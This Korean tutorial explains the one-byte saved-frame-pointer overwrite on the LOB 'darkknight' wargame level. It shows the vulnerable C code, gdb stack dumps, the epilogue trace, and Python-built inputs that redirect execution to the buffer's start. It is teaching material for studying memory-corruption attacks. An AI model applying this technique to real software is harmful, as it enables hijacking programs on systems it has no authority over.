SFP(Stack Frame Pointer) Overflow

 

SFP Overflow란?

SFP(Stack Frame Pointer) Overflow, FPO(Frame Pointer Overwrite), 1 Byte Overflow 라고도 불리는 공격기법이다.

SFP Overflow는 단 1Byte 만을 조작하여 IP(Instruction Pointer)의 흐름을 제어할 수 있는 공격기법이다.

SFP의 마지막 한 바이트를 Shell Code가 저장되어 있는 주소로 변조한다면 함수 에필로그에 의해 흐름을 제어할 수 있다.

SFP Overflow를 이해하기 위해서는 먼저 SFP(Stack Frame Pointer)가 무엇인지 알아야 한다.

SFP는 Saved Frame Pointer라고도 불리며, 이전 함수의 EBP 주소를 저장하고 있는 공간이다.

먼저 Stack Frame에 대해 자세히 알 필요가 있다. (Stack Frame이란?)

여기서 SFP Overflow는 SFP의 마지막 Byte를 Overwrite하여 해커가 원하는 프로그램 흐름으로 바꾸는 것을 말한다. 단 1Byte만으로도 프로그램 전체의 흐름이 바꿀 수 있다는 것이 매력적인 공격 기법이다.


SFP Overflw 실습(LOB level12번 darkknight 문제)

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

LOB Level 12번 문제(darkknight) 문제가 SFP Overflow 실습에 있어 가장 적합한 문제라고 생각되어진다. (이 포스트에서는 문제를 푸는것이 목적이 아닌 SFP Overflow를 이해하는것을 목적으로 한다.)

problem_child 함수를 보면 strncpy함수를 통해 main함수 argv[1] 인자의 41byte를 buffer에 저장하는데 buffer의 크기는 40byte이다.

따라서 1byte가 Overflow되어 problem_child함수의 sfp가 영향을 받게 된다. (다시한번 강조 Stack Frame이란? 먼저 이해하고 오자.)


일단 main함수에서 problem_child를 호출하고 buffer배열까지 공간을 할당하게 되었을 때에 스택의 구조는 다음과 같다.

SFP 1byte가 Overwrite 됐을 때 프로그램이 어떻게 흘러가는지 알아보자.

정상적인 프로그램에서 함수의 에필로그 과정을 살펴보면 다음과 같다.

(gdb) r `python -c 'print "A"*4+"B"*36+"C"'`  //실행 명령어

4byte의 “A”와 36byte의 “B” 그리고 마지막 sfp 1byte를 덮어쓸 “C”를 넣어주었다.

problem_child 함수내의 leave가 실행되기 직전에 스택 상태이다.

(gdb) x/15x $esp
0xbffffc84:     0x41414141      0x42424242      0x42424242      0x42424242
0xbffffc94:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffca4:     0x42424242      0x42424242      0xbffffc43      0x0804849e
0xbffffcb4:     0xbffffe06      0xbffffcd8      0x400309cb

이를 보기쉽게 그림으로 표시하면 다음과 같다. (검정색은 해당 스택의 주소, 파랑색은 해당 스택에 저장된 값, 빨강색은 사용자가 입력한 값)

problem_child SFP의 값을 보면 마지막에 0x43이 들어간 것을 볼수있다. 이는 argv[1]의 마지막 byte의 값이 “C(0x43)”이기 때문에 strncpy를 하면서 덮여씌워진 것이다.

그럼 이상태에서 함수 에필로그를 진행하면 레지스트리 값이 어떻게 변하는지 살펴보자.

problem_child 함수의 에필로그가 시작하기 직전에 eip, ebp, esp 레지의 상태값이다.

leave 명령어는 mov esp, ebppop ebp로 구성된 명령어이다.

leave명령어를 2단계로 쪼개서 사진으로 살펴보자.


1) problem_child 함수의 leave

mov esp, ebp를 실행하면 esp값이 ebp의 값과 동일하게 된다.

pop ebp를 하면 esp가 가리키는 곳의 값을 ebp로 넣고 esp는 4byte증가하게 된다.

이때 sfp값이 1byte(0x43)덮어 씌워져있었으므로 ebp는 엉뚱한 곳(0xbffffc43)을 가리키고 있게 된다.

2) problem_child 함수의 ret

그리고 ret는 pop eip, jmp eip로 진행되어진다.

pop eip 명령에 의해서 eip에 esp가 가리키던 값 0x0804849e값이 들어가고 esp를 pop명령어에 의해 4byte 증가하게 된다. 그리고 jmp eip 명령어를 통해 프로그램이 0x0804849e 주소를 실행하게 된다.

Dump of assembler code for function main:
=======================(생략)============================
0x8048499 <main+45>:    call   0x8048440 <problem_child>
0x804849e <main+50>:    add    %esp,4
0x80484a1 <main+53>:    leave
0x80484a2 <main+54>:    ret

0x0804849e 주소는 main함수에서 problem_child 함수를 호출하고 난 바로 다음 코드의 주소이다.

3) main함수에서 problem_child함수 스택 정리

add %esp, 4 명령어를 수행하게 되면 esp값은 4가 증가하게 된다.

그리고나서 바로 main함수의 leave와 ret를 만나게 된다.

4) main 함수의 leave

mov esp, ebp명령에 의해서 esp값이 0xbffffc43으로 바뀐다.

pop ebp명령으로 esp가 가리키고 있는 값(0xfffc7440)이 ebp에 들어가게 된다. 스택의 정확한 값들을 살펴보면 다음과 같다.

(gdb) x/4x 0xbffffc43
0xbffffc43:     0xfffc7440      0x00a970bf      0xfffe2f40      0xfffcacbf

5) main 함수의 ret

그리고 pop eip 명령을 통해 esp가 가리키고 있던 주소(0xbffffc47)의 값 0x00a970bf 값이 eip로 들어가고 esp는 4증가한다. 그리고 최종적으로 jmp eip를 통해 해당 주소로 점프해 명령을 수행하게 된다.


이렇게 하나하나보면 장황해보이지만 정리하면 간단하다.

처음 우리가 problem_child함수의 SFP를 1byte 조작하여 0xbffffc43 으로 조작되었고, 최종적으로 실행되는 명령주소는 0xbffffc47 주소에 들어있는 주소값(조작한 값의 +4한 주소)이다.

정확하게 확인해보자.

buffer의 시작주소는 0xbffffc84이다. 마지막 1byte를 \x84 로 바꿔보자. (-4 하지 않은 값)

[golem@localhost golem]$ ./aarkknight `python -c 'print "A"*4+"B"*36+"\x84"'`
AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB꾻퓹♠?왠?옹   ♥@☻
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -q -c core
Core was generated by `./aarkknight AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()

위와 같이 0x42424242 주소를 알지 못해 에러메시지를 표시한다. 그러면 -4한 값을 넣어주면?

[golem@localhost golem]$ ./aarkknight `python -c 'print "A"*4+"B"*36+"\x80"'`
AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB€?퓹? ♠?왠?옹   ♥@☻
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -q -c core
Core was generated by `./aarkknight AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB€'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

buffer배열의 첫 4byte(“AAAA”)를 실행하려는 모습을 볼 수 있다. 만약 buffer배열에 Shell Code를 넣어두었다면 Shell Code가 실행되는 상황이 된다.

이처럼 sfp값의 1byte만을 Overwrite하여 프로그램의 흐름을 바꿀수 있게 된다.